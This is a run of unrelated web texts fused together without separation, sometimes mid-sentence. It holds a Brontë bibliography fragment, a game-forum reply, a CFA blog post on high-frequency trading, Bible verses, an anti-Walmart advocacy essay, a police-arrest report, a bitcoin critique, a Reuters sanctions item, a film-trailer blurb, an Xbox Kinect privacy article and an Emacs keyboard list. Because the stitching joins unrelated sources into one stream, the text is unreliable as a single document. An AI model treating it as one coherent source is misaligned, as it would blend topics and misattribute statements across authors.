Tales of Angria (written 1838–1839 – a collection of childhood and young adult writings including five short novels) Mina Laury Stancliffe's Hotel The Duke of Zamorna Henry Hastings Caroline Vernon The Roe Head Journal Fragments
(written 1838–1839 – a collection of childhood and young adult writings including five short novels)
The Green Dwarf, A Tale of the Perfect Tense was written in 1833 under the pseudonym Lord Charles Albert Florian Wellesley.[46] It shows the influence of Walter Scott, and Brontë's modifications to her earlier gothic style have led Christine Alexander to comment that, in the work, "it is clear that Brontë was becoming tired of the gothic mode per se".
Novels [ edit ]
Poetry [ edit ]
Poems by Currer, Ellis, and Acton Bell (1846)
(1846) Selected Poems of the Brontës, Everyman Poetry (1997)
References [ edit ]
Notes [ edit ]
Sources [ edit ]
Further reading [ edit ]Quote Jamtas Quote: Originally Posted by So I appreciate that Cristina Petrarca did some live tweeting during the Cantina of the information spoken of to go along with the site updates from Friday. (and thanks to Dulfy for linking them all as well)
However, I just wanted to see if Eric, Ben or Charles was going to make a post summing everything up that was discussed as well so we can get some clear idea of everything?
-Are chapters being released all at once for the "binging", in batches?
-Mention of a livestream in January regarding operations. Is that true, or is it not operations but Group content of which we won't describe what kind until then?
-More livestreams to come to go into more detail on Uprisings, alerts, etc?
-End Date for DvL?
-New PvP maps/new types?
-GSF content?
Just wanted to see if there was any official word on these to counter the speculation that is occurring in the absence of clarity.
Thanks in advance! I got you covered: All 9 Chapters are being released with Eternal Throne's launch.
What we said is that after KOTET's launch, the team is refocusing on group content. Our hope is that as a part of the January Producer Letter or Livestream, we will have more specific updates on what is to come. This includes all types of group content, but was a specific answer to the question of Operations.
We will have a whole bunch of livestreams and blogs between now and launch to go into details on many facets of the expansion.
Dark vs Light is intended to end with KOTET Early Access on November 29th. However, I believe the Dark vs Light part of it to decide which Companion will be awarded, will end a week or so prior to that.
PvP / GSF - Refer to answer above about Operations // stream in January. -eric
Eric Musco | Community Manager
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[Contact Us] [Rules of Conduct] [F.A.Q.]HFT, Price Improvement, Adverse Selection: An Expensive Way to Get Tighter Spreads?
CFA Institute recently commissioned a study to examine the effects of “trade-at” rules in Canada and Australia. In the first of two blog posts, I will discuss the practices these rules aim to curb. I’ll delve more deeply into the results of the study in a follow-up post.
As the debate on high-frequency trading (HFT) continues to rage, it is important to note that it is not only the “Flash Boys” that may threaten market integrity. A recent conversation with CFA Institute Capital Markets Policy Committee member Dennis Dick reminded me that there are more mundane market trends that may be undesirable for market integrity.
Some of you may be aware of the concept of “adverse selection,” but it is perhaps useful to provide an example of what this actually looks like in practice. In today’s market, the majority of “uninformed order flow” is internalized by firms that purchase retail order flow from brokers. By uninformed order flow we mean orders that are not seeking to correctly predict price movements in the next minute, hour, or even day (e.g., fundamental traders). Internalization is allowed under current market regulations as long as the price matches or beats the displayed National Best Bid and Offer (NBBO). Even in cases in which the price improvement is nonzero, it is usually only nominal but allows internalizers to “lean” on the quote.
What does this mean? Consider, for example, a stock trading at $20.00-20.01 at the NBBO. Internalizers fill all incoming retail marketable buy orders at $20.0099 (in front of the displayed offer) and all retail marketable sell orders at $20.0001 (in front of the displayed bid) — a nominal price improvement of $0.0001 in each case. They earn the spread minus the nominal price improvement. While this is ostensibly good for investors who receive a price improvement on their orders, it may be a case of penny wise, pound foolish.
And here’s why. For a retail order that gains $0.0001 in price improvement for 99 trades of 100 shares (with a 1-cent spread), that’s a 99-cent total gain from price improvement. But if the 100th trade is a limit order for the same 100 shares that does not get executed because internalizers are stepping in front of the trade, you would lose $1 because of the 1-cent spread on 100 shares you would have to pay in order to trade — wiping out the price improvement from the previous 99 trades! This example shows that tight spreads may not necessarily be economically significant.
Now, consider market makers who post visible limit orders. Their orders do not typically interact with uninformed retail order flow — this is always being internalized. Where does that leave them? They are trading with relatively more informed order flow and therefore are more likely to be on the wrong side of a trade — or increased adverse selection. But what does this actually look like?
This phenomenon can be observed in the consolidated tape data because trades will execute off-exchange when the quotes are stable and only interact with lit orders when the quotes change or “roll.” What’s happening here is that internalizers are causing trades to occur inside the quote by offering price improvement (as described above). When they see order imbalances that predict the quote is about to change or “roll,” they neutralize their net position by hitting the lit quote.
For example, if they have a net long position just before a quote rolls down, they will seek to sell at the bid knowing that they can imminently re-purchase at the lower future ask price. This manifests itself in the consolidated tape as a series of off-exchange trades executed at the NBBO, followed by an on-exchange trade just as the quote rolls. In this way, internalizers and HFTs are liquidity providers when quotes are stable, but liquidity takers when quotes roll — the posted quote is merely acting as insurance for this strategy.
This is a strikingly clean example of adverse selection in action — internalizers are mopping up uninformed retail order flow and only interacting with lit orders when the lit orders are on the wrong side of the trade. No wonder market makers are concerned about the toxicity of order flow in the market! For other market participants this is worrying because the incentive to post lit orders is compromised. This is the reason for the rise of maker-taker markets in which participants are paid a rebate to post limit orders and are charged a fee to access limit orders.
In summary, regulations like Regulation National Market System (or Reg NMS) and the Markets in Financial Instruments Directive (MiFID), along with payment for retail order flow, allow some trading firms to internalize uninformed order flow for no, or only nominal, price improvement. Meanwhile, algorithmic and high-frequency trading technology allows these same firms to only interact with lit markets when they are on the right side of a trade, and avoid being hit on the wrong side of a trade as well. The traditional human market makers, as a result, operate in lit markets that are full of toxic, informed order flow from the above-described firms, so their incentives to post limit orders are severely compromised — they cannot change their quotes fast enough to avoid falling on the wrong side of a trade by so-called algo traders — and many have become liquidity takers themselves.
To entice this limit-order liquidity back onto lit exchanges, some regulators have introduced “trade-at” rules, which are meant to limit the ability of firms to cheaply internalize uninformed order flow. In the next blog post I will examine the results of a CFA Institute-sponsored study that assesses whether these attempts have been successful.
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Photo credit: iStockphoto.com/halbergman
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About the Author(s)REVELATION 12:1-6
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The Woman and the Dragon
12:1 And a great sign appeared in heaven: a woman clothed with the sun, with the moon under her feet, and on her head a crown of twelve stars.
2 She was pregnant and was crying out in birth pains and the agony of giving birth.
3 And another sign appeared in heaven: behold, a great red dragon, with seven heads and ten horns, and on his heads seven diadems.
4 His tail swept down a third of the stars of heaven and cast them to the earth. And the dragon stood before the woman who was about to give birth, so that when she bore her child he might devour it.
5 She gave birth to a male child, one who is to rule all the nations with a rod of iron, but her child was caught up to God and to his throne,People flock to Walmart for perceived bargains and convenience. Here are some facts that might keep them from adding their hard-earned cash to the profits of a company that’s squashing lives and worker rights worldwide.
Next time someone tells you they shop at Walmart because it’s cheap or convenient, share this.
Despite 1,500 protests nationwide against Walmart, the world’s biggest retailer claimed its most lucrative Black Friday ever in 2013. Our friends and neighbors flock there.
They do – even those who have seen mom-and-pop stores shut down when Walmart moved into town, who miss being able to pick up one or two items and be out of a store in 10 minutes, who personally know Walmart employees relying on food stamps and who have heard how much money the Walton family continues to accumulate.
Walmart is the poster child for how huge corporations have undermined people’s ability to make a living. It does this by sending manufacturing abroad to countries where labor is cheap, at the same time paying its own employees less than a living wage, using other unfair labor practices in numerous locations in the United States, and undercutting locally owned enterprises right out of business. It harms Main Streets and local commerce centers across the country and further drives people to malls.
So why do people go there? When asked this question, Walmart shoppers uniformly respond that “it’s cheap and convenient, and I can’t afford to shop at [other places].”
I’d wager they never saw Robert Greenwald’s chilling 2005 documentary for Brave New Films, Walmart: The High Cost of Low Price, or read some basic facts about Walmart put together in one place. I think they’d feel differently if shown ways to shop that are just as inexpensive. At least I hope so.
Raking It In
In 2012, the world’s largest retailer registered about $466 billion in sales ($13 billion of which went to shareholders). Since its founding in 1962 by Sam Walton, the megalithic privately held corporation has blanketed the USA with more than 4,100 stores and the world with nearly 11,100. It employs 2.2 million people, about 1.3 million in the United States. It’s the 26th-largest economy in the world, bigger than those of Belgium, the Philippines, Venezuela, Sweden, Austria and many other prosperous nations.
In 2010, CEO Michael Duke’s annual salary of $35 million (excluding perks) earned him more in an hour than a full-time employee makes in an entire year – 1,034 times the average worker’s pay. (A longtime employee from outside the Walton clan, Doug McMillon, was named the new CEO in late November 2013, but his compensation figures have not been released.)
The six heirs of Sam Walton have more money than the bottom 41.5 percent – or 48.8 million families – of all Americans, according to an analysis of Federal Reserve data. (And the heirs’ income rose 22 percent during the years 2008-12, while the Forbes 400 lost 19 percent and the rest of us saw our median family wealth drop 38.8 percent.)
So What?
What’s wrong with this? Isn’t it every American’s right to make as much money as possible? If they’re doing a good job, why shouldn’t they be well-compensated?
Let’s say we forget about the family members who were just born into the family of Sam Walton and who inherited the money he’d earned by hard work and crafty planning – the heirs who are expert at shielding their inheritance billions from taxation by taking advantage of (quite legal) tax loopholes set up to benefit billionaires – which Congress apparently won’t even contemplate scrutinizing.
Let’s talk instead only about workers who deserve to be compensated for their hard work – that’s the American dream, after all. Toil and dedication are supposed to pay off with a comfort level that includes a decent home in a safe neighborhood, with reasonably nice furnishings; the ability to put good, healthful food on your family’s table; being able to pay your medical and education bills; having a vehicle or access to public transportation that makes your commute and errand-running simple and convenient; having a little money for entertainment, recreation and retirement savings; and being able to take at least a small vacation annually.
Not too much to expect, is it? Especially if you’re working for the biggest retailer by far on the planet. ( Walmart is huger than the next six retailers combined.)
The median annual salary for a full-time Walmart employee has been estimated at $18,000 to $22,000. In a study commissioned by the (Democratic Party) Committee on Education and the Workforce in 2013 in Wisconsin, Walmart was ranked as the employer with the most workers – 3,216 – on the state’s Medicaid program. Walmart was responsible for 9,207 enrollees, including the children and adult dependents of those workers. Thus the burden of paying for the Walmart employees’ families’ food assistance and medical services falls (estimated at nearly $1 million at one store alone) to their fellow taxpayers.
That’s how Walmart likes it. It’s part of its business model, just as is outsourcing jobs to countries with lower wages.
War on Workers
A CNN Money senior editor calculated in 2013 that Walmart could afford to give all its employees a 50 percent pay raise without hurting its bottom line. But it does not.
Instead, it had 110 or so peaceful protesters (including Santa Claus in Claremont, California) arrested on Black Friday 2013 outside its stores from coast to coast. There were some 1,500 demonstrations altogether, which makes it quite obvious there’s something radically wrong at the house that Sam built. (And the peaceful demonstrators, not the violent brawlers inside, were arrested!)
This all seems pretty unfriendly to the US economy and society – downright unAmerican, in fact.
Black Friday 2012 saw protests by Walmart employees and supporters as well; the movement is growing, as people realize there’s more to fear from slowly starving to death and being squeezed out of affordable housing than from protesting peacefully, even if the latter involves getting arrested.
The employees who were forced to work on Thanksgiving (because “it’s what shoppers want; it’s the retail trend”) had to give up their own time with their friends and families and had no choice in the matter. Do we really need another shopping day that badly?
Shop ‘Til You Drop (Someone)
The entire consumerism culture is personified by Walmart. Remember the employee who was trampled to death a few years ago by shoppers who knocked down the doors on Black Friday to be the first in the store? Apparently #WalMartFights and #BrawlMart were breaking out all over the country this year, too. It’s sickening, and Walmart plays that stuff up.
But many argue in defense of their use of Walmart (which now, thanks to the same kind of strong-arm tactics it uses with suppliers of other goods, has a phenomenal 25 percent share of all US food market sales), that it’s cheap and healthful.
Stacy Mitchell wrote in Grist in December 2011, pointing to a study in Social Science Quarterly that showed that neighborhoods where a Walmart store opens have more poverty and food-stamp usage than communities without a Walmart. This might have something to do with Walmart’s record of putting other employers out of business – and more people out of work.
If that’s not bad enough, another recent study concluded that Walmart makes us fat. “An additional supercenter per 100,000 residents increases … the obesity rate by 2.3 percentage points. … These results imply that the proliferation of Walmart supercenters explains 10.5 percent of the rise in obesity since the late 1980s.”
Walmart employees, restaurant employees and other retail workers are fighting for decent pay across the country, even as politicians in collusion with megacorporations are doing their darnedest to squash the labor movement and convince us that we need big corporations like Walmart, which are “creating jobs” and making the world safe for consumption.
In truth, this is class warfare, pure and simple, and the workers and employees of the big corporations, the ones doing the hardest work, as well as the customers, are considered the lower classes by the ones at the top. About 99 percent of us are in the lower classes.
The moneyed class is starting to get worried as it sees more of the “lesser” people starting to realize how bad things are – and who’s to blame. Corporations are now acting out more against the people, which is a sign of their fear of the strength of organized resistance.
A Few Big Problems
But we still need to understand more widely that shopping at Walmart and other huge retail corporations is spending money toward our own economic downward spiral. (If the minimum hourly wage had advanced with the cost of living and productivity from its high-water mark of 1968, it would have been $21.72 in 2012, according to a March 2012 study by John Schmitt for the Center for Economic Policy and Research. How close is your salary to that number?)
Walmart workers – just like fast-food workers, retail staff, hospitality workers, adjunct faculty members, journalists, nurses, teachers, firefighters, factory workers, domestic workers, administrative assistants, middle managers and everyone else who is working for ever-shrinking paychecks – don’t want a government or corporate handout.
They simply want to be paid a decent, livable wage for their honest labor. They’d like to be able to expect to leave their kids as much as or more than they were left by their parents, even though their parents were able to leave them less than the previous generation did. But the next generations are not only going to be left less economically, they’re going to be fighting for their very survival.
If the working classes don’t realize we all need to stand up for one another, starting with our shopping choices, we are hopeless.
Walmart and fast food chains, with their low prices, convenience and addictive high-fat, high-sugar content, are really just a part of a much bigger picture – one that includes the looming “trade agreement” called the Trans-Pacific Partnership, something that makes job-exporting NAFTA look benign. Walmart is one of the huge corporations pushing the TPP hard, because it would then be able to move more of its factories into countries like Vietnam, where the minimum hourly wage is 36 cents. (The TPP is another whole ball of wax, to which we should be paying close attention because it will affect our lives directly and unremittingly.)
Not Our Responsibility
But back to talking about Vietnam, which isn’t that far from Bangladesh in that it’s another of the poor countries with low wages where people assemble many of the goods sold in US stores like Walmart.
One hundred twelve Bangladeshi workers were killed in a November 2012 fire, caused by negligence, as they were sewing garments to be sold primarily in Walmart and Sears. We learned after this tragedy that those two giant corporations had earlier refused to fund safety improvements at any of the more than 4,000 factories in which Bangladeshis labored to make goods for US markets – and in which more than 700 garment workers had died since 2005.
Even after the tragic fire, Walmart and Gap and other big brands refused to sign a new safety plan introduced by unions. They claimed it was “not financially feasible.” Yet, as the Atlantic reported, Scott Nova at the DC-based Worker Rights Consortium calculated that sufficient safety retrofits and new systems would add 8 cents to the cost of a garment, or.00004 (four one-thousandths of a percent) of a retailer’s total corporate revenue.
Just five months after the fire, Bangladesh was hit by an even more unspeakable disaster when the eight-story Rana Plaza collapsed, killing at least 1,129 and harming more than 2,000, some of whom lost limbs and suffered other extreme injuries. (None of the victims had yet been compensated six months after the May 2013 catastrophe; Walmart claimed it was not liable because at the time of the collapse it was no longer using any of the five garment factories that operated out of the building’s third to eighth floors.)
It is clear that Bangladeshis’ deaths – and lives – don’t mean much to US commerce (transcript, May 5, 2013, about two-thirds of the way down the page.[i] It’s just a cost of doing business[ii], and the bad public relations last only days before “consumers,” as we are considered by Walmart and other retailers, forget all about these human tragedies and go back to our bargain hunting.
Maybe It Is Our Responsibility
But maybe we’ll realize those bargains come with too steep a price. What price, for example, might we put on the life of the pregnant mother of two who was in the process of stitching the trim on that $14 scarf for Walmart when she was partially crushed by bricks in the Rana Plaza building (and would finally, mercifully, die 17 hours later)[iii]?
Maybe we’ll begin understanding the connections between the conditions suffered by those slogging away in factories halfway around the world; the outrageous salaries of CEOs who work sometimes fewer hours than we do, even including two-hour lunches; the gutting of labor laws; the spikes in health care and education costs (have you looked at college tuition numbers lately?); the easing of regulations intended to protect the environment and people from corporate harm; the court decisions on behalf of negligent corporations; and our own lack of upward mobility and hope.
Maybe we’ll see that shopping at Walmart isn’t the affordable, convenient delight we’d thought it.
Many Americans are starting to understand firsthand what it feels like to be dehumanized. We are losing our jobs, having to switch careers, finding ourselves in a credit bind, and maybe losing our homes to foreclosure – or at least we know some middle-class people who have experienced such tough circumstances. It does not sit well.
Walmart is sued several times a day, sometimes in class action lawsuits, sometimes for allegations of employee rights violations, sometimes for injuries sustained by customers or employees in its stores or parking lots. And in November 2012, it allegedly fired 117 workers because they threatened to join Black Friday protests. That case is with the National Labor Relations Board, which may sue.
But to get back to that worry over affordability: It’s all well and good to say we might make a statement with our wallets, but practical matters prevail. We need to pinch pennies in these economic times – when few workers have any chance of upward mobility.
Yet there are numerous ways of shopping conveniently and supporting local farmers and businesses that are as affordable as shopping at megamonsters like Walmart (which may have started off pretty decent in the Sam Walton days, when he went out of his way to hire older workers, people with disabilities and veterans).
Here are a few ideas to get you started and that don’t demand a drastically changed lifestyle (well, except maybe for number 5).
1. Community-supported agriculture means you can buy a share in a farm to have fresh vegetables every week during the growing season.
2. Cooperative extensions and other community groups teach how to can, freeze and dry food for the months when things aren’t growing.
3. You can grow herbs and salad leaves, including the increasingly popular microgreens, indoors on a windowsill and add vitamins to your family’s diet.
4. If your family eats meat, it is much more economical to arrange with a farmer to buy one-quarter or one-half a pig or bull or lamb, or so many chickens or ducks or turkeys, or split an order with a neighbor.
5. Switch to a vegetarian diet, and you will really save money (and almost certainly feel better).
6. Buy dry goods such as beans, rice, cereal, grains, flour, sugar, nuts and dried fruits in bulk.
7. Use cloth napkins instead of paper and reusable blotters instead of paper towels
8. Switch to a menstrual cup and cloth pads instead of tampons and disposable pads.
9. Challenge yourself to buy only goods made in the United States, and check the labels on everything.
10. Go to or start a swap meet, where people bring clothing or items they no longer want and pick up your discards.
11. Do a seedswapor plant swap or plant-pots swap to get your flower and vegetable garden started, or boost your indoor garden. Start an indoor garden per number 3.
12. Try to wean yourself off plastic of every kind.
13. When things break that shouldn’t, mail them back to the manufacturer COD (collect on delivery, so they pay), with a letter saying you are not satisfied with their shoddy products.
14. There are scores more ideas. Visit your cooperative extension site for ways to save. There are plenty of websites and blogs devoted to stopping consumerism and becoming more self-reliant.
You will feel better about yourself and your habits – but if none of that is enough, here’s the coup de grace.
The most common defense given by colleagues and friends about their decision to continue shopping at Walmart is, hands down, price. They say they can’t afford to shop elsewhere, and that Walmart is a one-stop shop where they can save time as well as money.
Sticker Shock
But Walmart is not cheaper for fresh food. I understood that it undercut other stores on packaged foods such as cereals and canned goods, but most fresh vegetables and dairy foods cost more there.
Plus, in an online spot check on December 2, 2013, I found, to my complete surprise, that my local food store Wegmans had considerably better prices on almost all of the brand items I tried. Walmart either didn’t have preferred sizes or did not supply in-store prices on its website; one would have to order by the case online or go to the store to find out how much things cost. Generally I would not buy brand-name goods – I frequently buy in bulk – and I’d be saving even more by buying the Wegmans (“Food You Feel Good About”) brand or brandless options.
Goya black beans, 29-ounce can
Walmart: $2.47/can when bought in a case of 12 online
Wegmans: $1.99 per can
Bumblebee solid white albacore tuna, 5-ounce can
Walmart: $2.33/can when bought in a case of 24 online
Wegmans: $1.59 per can
DeCecco Fettucini Pasta, 16-ounce box
Walmart: $4.55/box when bought in case of 10
Wegmans (Penne, Angel Hair, Spaghettini or Orrechiette only): $2
Blue Diamond Almond Breeze Almond Milk, 64 ounces
Walmart: 32-ounce case of 12, $3.15 (x 2) – $6.30 for 64 ounces
Wegmans: $2.99
Planters Dry Roasted Party Size Peanuts With Sea Salt, 34.5 ounces
Walmart: $5.98
Wegmans: $6.99
Hellman’s Real Mayonnaise, 30-ounce jar
Walmart: (not available)
Wegmans: $3.99
Quaker Oats, Quick, 18 ounces
Walmart: $2.48
Wegmans: $2.59
Kashi Autumn Wheat Cereal, 16.3 ounces
Walmart: $3.68
Wegmans: $3.69
So that last great argument about Walmart being more affordable is dead in the water. Could a caring, sensible person continue to shop there, knowing all that we now know?
Sign the petition to Walmart to pay its workers a living wage before December 31, 2013.
Here’s one useful and brief article from a conservative financial publication that succinctly lists the factors whereby Walmart costs Americans jobs.
Here’s a great list of resources on Walmart and its impact on the US economy.
Read more here.
[i] An Accord on Fire and Building Safety in Bangladesh was announced in October 2013; it is “a legally binding agreement [that] has been signed by over 100 apparel corporations from 19 countries in Europe, North America, Asia and Australia; two global trade unions... and numerous Bangladeshi unions.... The International Labour Organisation (ILO) acts as the independent chair.” Wal-Mart is not among the signatories. [ii] Like lawsuits, protests and fines. [iii] This is the author’s speculation, not an actual anecdote.Cameraman brutally arrested while filming Sunsara Taylor making a statement Sunday 10:30 a.m. at Ethical Humanist Society of Chicago
On Sunday, November 1st, plainclothes and uniformed police who had been called in earlier by officials of the Ethical Humanist Society of Chicago (EHSC) dragged out, maced and arrested a man for videotaping Sunsara Taylor as she stood near her seat and made a statement before the start of that morning’s program about the shameful cancellation of her long planned talk to EHSC that day on the topic “Morality without Gods.”The shocking incident took place at the insistence of the president of EHSC. About 40 people witnessed the videographer being brutalized by the police in the foyer of the facility. An attorney demanded that the police stop brutalizing him when five officers piled on him as he lay face down on the floor. 6 police cars arrived within minutes.The day before, during a workshop on the same premises which the president and other board members of the EHS were at, Sunsara explained very clearly that she would be attending the opening of the EHS's Sunday gathering and giving the EHS the opportunity to do the
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oned out to more than 135 gigabytes of data.
Remember, this was a virtual currency that was supposed to be more efficient than the New Zealand or US dollars, which are of course just as capable of being "virtual" and transmitted electronically over the internet in a flash as bitcoin.
Not that the bitcoin fees matter much as it's virtually unusable anyway.
In 2014, New Zealand internet provider Slingshot made headlines by accepting bitcoin for bills, but no-one even noticed when it later shelved the gimmick during an upgrade of its IT systems. Consumer manager Taryn Hamilton recalls "there wasn't a huge demand".
Even US games maker Valve, owner of the hugely popular Steam games platform, whose customers are mostly millennials, stopped accepting bitcoin last week due to its "high fees and volatility".
The practical uses of bitcoin are to pay off ransomware scams or to hide wealth, if say you've made your fortune illegally in China and banking is getting a bit awkward.
But the demand now is all from speculators and the gains people have made from bitcoin will exactly match their and other people's losses as the edifice comes crashing down. It is a zero-sum game.
Bitcoin Cash – which is best is described as a "fork" of Bitcoin assuming it is in fact constrained by the 21 million coin limit, or an outright competitor to bitcoin if it isn't – is an attempt to fix some of Bitcoin's faults, but is too little, too late.
An environmental crime?
The process involved in creating those 21 million bitcoins involves vast banks of computer servers consuming close to 21 million bitcoin-worth of electricity to solve complex algorithms.
Since it is the cost of electricity that determines the economics of bitcoin "mining", it is not much of a simplification to say each freshly-mined bitcoin is now comprised of about 200 barrels of oil (or tons of coal if the servers are in China).
The biggest corporate winner is perhaps US$120 billion graphic card manufacturer Nvidia which has seen its share price double this year, in part on the back of demand for its cards from bitcoin miners.
While centuries of alchemy proved gold was impossible to create or destroy, bitcoin can never be changed back into electricity or anything of actual value.
Green Party MP Gareth Hughes said in July that he thought most people using bitcoin "would be surprised to consider the environmental footprint".
I think they should be outraged.
MGT's new Bitcoin mining facility and mining maintenance staff. We are aiming for the number one Bitcoin mining facility in the world. pic.twitter.com/WJpt3aUetN — John McAfee (@officialmcafee) December 19, 2017
While we are it, the technology behind bitcoin is not going to be as revolutionary as the internet. Yes there will be a few uses for the distributed database technology but only if they are far better implemented than it has been with bitcoin.
Recording the data from car odometers is one I can think of, except that will become less necessary as electric vehicles that can drive 500,000 kilometres take over (that is one technology revolution to actually believe in).
In 95 per cent of applications, if not 99.9 per cent, conventional centralised database technology will win out because it is simple and it works.
Blockchain belongs in the basket of technologies that includes 3D printers that have been over-hyped, before finding some humble uses out of the public eye.
Bitcoin belongs in the history books in the same chapter as the the Dutch tulip bulb bubble.
* Comments on this article have been closed.(Adds additional quotes, context)
MOSCOW, Dec 29 (Reuters) - Turkey remains an important trading partner for Russia, and Moscow aims to minimise problems for Turkish and Russian businesses caused by sanctions, Russian Economy Minister Alexei Ulyukayev said on Tuesday.
His comments, playing down the impact of recent economic sanctions introduced as retaliation for Turkey’s shooting down of a Russian jet, suggest that Russia is eager to prevent sanctions harming Russia’s own economy.
“Turkey remains our large trading partner. Our embargo is selective, very selective, concerning food and only certain (items),” Ulyukayev said in an interview with Russian state television.
“They are designed in a way so that existing contracts won’t be violated. Here we are for the time being very cautious. We don’t want to create problems for Turkish business, and even less for our own business and citizens.”
Relations between Moscow and Ankara soured last month after a Turkish warplane shot down a Russian jet bomber near the Syrian-Turkish border. Russia denied it had violated Turkish air space.
Following the incident, Russia introduced economic sanctions against Turkey. These included banning the import of Turkish fruit and vegetables, bird meat and salt, and the sale of charter flights and tourist visits to Turkey, from January 1.
Ulyukayev’s comments come a day after President Vladimir Putin signed a decree that widened the sanctions to include companies controlled by Turkish citizens even if the companies did not fall under Turkish jurisdiction.
At the same time Putin also ordered his government to draw up a list of exceptions to the sanctions, giving Russia leeway to continue doing business with Turkish companies if it thinks Russia would benefit. (Reporting by Dmitry Solovyov; Writing by Jason Bush; editing by Ralph Boulton)Lana and Andy Wachowski, best known for their sci-fi trilogy, The Matrix, have a new sci-fi flick upcoming — Jupiter Ascending, and the first trailer just hit the web.
Channing Tatum plays Caine, the half-man, half-wolf warrior who has to rescue Jupiter Jones (played by Mila Kunis), a janitor with enormous genetic potential.
See also: 14 Superlatives for Movies in 2013
Just like The Matrix, the movie is based on an original screenplay by the Wachowskis. Matrix fans will be glad to see that Jupiter Ascending, too, features a great deal of gravity-defying martial arts scenes. The movie also seems to be quite epic in scale, spanning several planets and civilizations, and some good old spaceship fights are thrown into the mix as well.
Jupiter Ascending is slated to hit cinemas Jul. 25, 2014.
13 Classic Movie Quotes Updated for the Digital Age
Image: YouTube/Warner BrosThe state of confusion around the new Xbox One console is such that we're delighted to bring you the news that Microsoft's next console has a power button. What's more: its watchful new Kinect sensor that must be plugged in for the console to run can be turned off.
Oh brother, big brother! Maybe this new Xbox won't be spying on everyone after all.
"It is not always watching or always listening," a rep for Microsoft told me over e-mail while I was trying to nail down some facts for a story about next-gen consoles that ran in yesterday's New York Times.
In the Times article, I reported that Microsoft says the Kinect can be turned off. The entire console can be powered down. This might seem obvious to anyone familiar with how consumer electronics work, but... let's face facts...the Xbox One has seemed, for the past week, to be a tad different than the average piece of consumer electronics.
"Yes, you can turn the system completely off," the Microsoft rep said. "This would use no power and turn everything off. We’ll share more details about how it all works later." I believe this powering off involves the aforementioned power button.
Last week, Microsoft did not present a vision of an Xbox One that can or should be turned off. Rather, the company showcased a console that could be "always-on" and managed to freak out enough people who started envisioning an Xbox One that seemed capable of spying on its users.
Microsoft: "We are designing the new Kinect with simple, easy methods to customise privacy settings."
The spying concern wasn't groundless. The new Kinect can see in the dark, pick out human voices in a noisy living room and read your heartrate just by looking at your face. It was unveiled by Microsoft last week as a fixture of the fall-releasing Xbox One. The thing has to be plugged in for the console to work, and is in some way already checking out what's going on in the room it's in.
Even when ostensibly not functioning, the Xbox One can run in a low-powered state, ready to be snapped on at a moment's notice. That's something Microsoft was showing off last week as an asset. The only on-switch Microsoft showed for waking the machine from its low-power state was a voice command... "Xbox On." The Xbox One could only hear that if the Kinect was already, always listening. The idea that the Kinect might always be listening got people reaching for their tin foil or vowing to not let an Xbox One into their home.
Microsoft is now seeking to calm concerns that the new Kinect might spy. "We are designing the new Kinect with simple, easy methods to customise privacy settings, provide clear notifications and meaningful privacy choices for how data will be used, stored and shared," the Microsoft rep told me.
"We know our customers want and expect strong privacy protections to be built into our products, devices and services, and for companies to be responsible stewards of their data. Microsoft has more than 10 years of experience making privacy a top priority. Kinect for Xbox 360 was designed and built with strong privacy protections in place and the new Kinect will continue this commitment. We’ll share more details later."
Answers about the Xbox One beget more questions. Blame our endless curiosity, Microsoft's confusing messaging or just the complex nature of the new console.
It's useful to know that Xbox One users can turn off the console and its sensor all at once without having to, say, unplug the machine. But it's still hard to tell how watchful the Kinect will be during gaming and other uses of the console.
The Xbox 360's Kinect was easy to baffle or block. Players had a leg up on it and could easily maintain their privacy. The sensor didn't have to be plugged in for the console to work. When it was plugged in, it didn't have to face the player. Most games didn't even require it. Xbox 360 users could leave the Kinect unplugged or even block the device's visual sensors if they just wanted to use its microphone for voice commands.
The new Kinect seems like it will be trickier to foil technologically, making Microsoft's promised privacy settings all the more relevant and essential. The new Kinect's vastly-improved sensors can identify its users in the dark and even track which controller they hold in their hands. The new sensor can tell when a user smiles or turns away from the TV and can react. It's unclear if the new Kinect must see a player in its view during their play session or if it can handle being obscured. This is partially a policy decision by Microsoft, which will get to decide whether to require persistent Kinect-based facial recognition to log a player in or, a la Xbox 360, will settle for button prompts.
Microsoft is promising more information about all things Xbox One at E3, the big gaming show that is now just two weeks away.Best Keyboards for Emacs
Here's what i consider the best keyboards for emacs.
Microsoft Sculpt Ergonomic
Microsoft Sculpt Ergonomic Keyboard. Buy at amazon
This is the cheapest here.
Particularly nice is the huge Alt and Ctrl keys placed symmetrically for left and right hands, and very close to the thumb.
For detail, see Microsoft Sculpt Ergonomic Keyboard Review
Kinesis Freestyle Edge Keyboard
If you are used to traditional keyboard, this one is best.
It has driverless programing. Set one of the space bar to Ctrl or Alt.
see Kinesis Gaming Keyboard, Freestyle Edge
Mistel Barocco Keyboard
If you want compact and not too expensive, get this. It features driverless key remap/macro programing. Note, it doesn't have physical arrow keys.
Set one of the space bar to Alt or Ctrl.
See: Mistel Barocco Split Keyboard
Ultimate Hacking Keyboard
UHK
Compact, and most feature-rich programable, with the most easy-to-use software.
For video review and where to buy, see Ultimate Hacking Keyboard
It's not on amazon. If you get this, tip me $5. Goto https://www.paypal.com/ and pay [email protected]
X-Bows Keyboard
X-Bows Keyboard
Compact, easy to adopt. Features large and many thumb keys. Programable. Not expensive.
see X-Bows Keyboard Review
It's not on amazon. If you get this, tip me $5. Goto https://www.paypal.com/ and pay [email protected]
SmartYao Keyboard
ly092 mini keyboard Buy SmartYao Split Thumb Keyboard
This one got the most number of keys. you got about 30 extra keys. You can program them to be one-key-press shortcuts.
Full review at SmartYao Keyboard
Kinesis Advantage 2 Keyboard
Kinesis Advantage 2 Keyboard. Kinesis Advantage2 Keyboard
Xah Kinesis Advantage2 Keyboard Review
This is bowl shaped. Bowl shaped makes your wrist posture more natural when typing.
The other big advantage is lots thumb keys. Thumb keys for Control and Alt, or, you can put Shift key there too if you want.
Kinesis Advantage2's driverless programable keys are wonderful. To remap keys, just press keys to set them. Can also record key macros.
There are quite a lot emacs+Kinesis users. You see them on social networks. (goto reddit.com or twitter.com, search for “emacs kinesis” to see.)
This is my current main keyboard.
my config. Kinesis/Ergodox layout for xah-fly-keys
For detail, see Kinesis Keyboard Review
Keyboardio Model 01
keyboardio m1 rgb [image source flickr, by Eric Sorenson, 2017-07-22]
This one is like a luxury item. It is highest quality and feature rich. Expensive, and harder to adopt.
see Keyboardio Review
It's not on amazon. If you get this, tip me $5. Goto https://www.paypal.com/ and pay [email protected]
Efficient Keybinding for Emacs
Also, very important is to get a efficient keybinding for emacs.
see Emacs: Xah Fly KeysAs your company grows, it’s important to evolve your organizational structure just as you would your product.
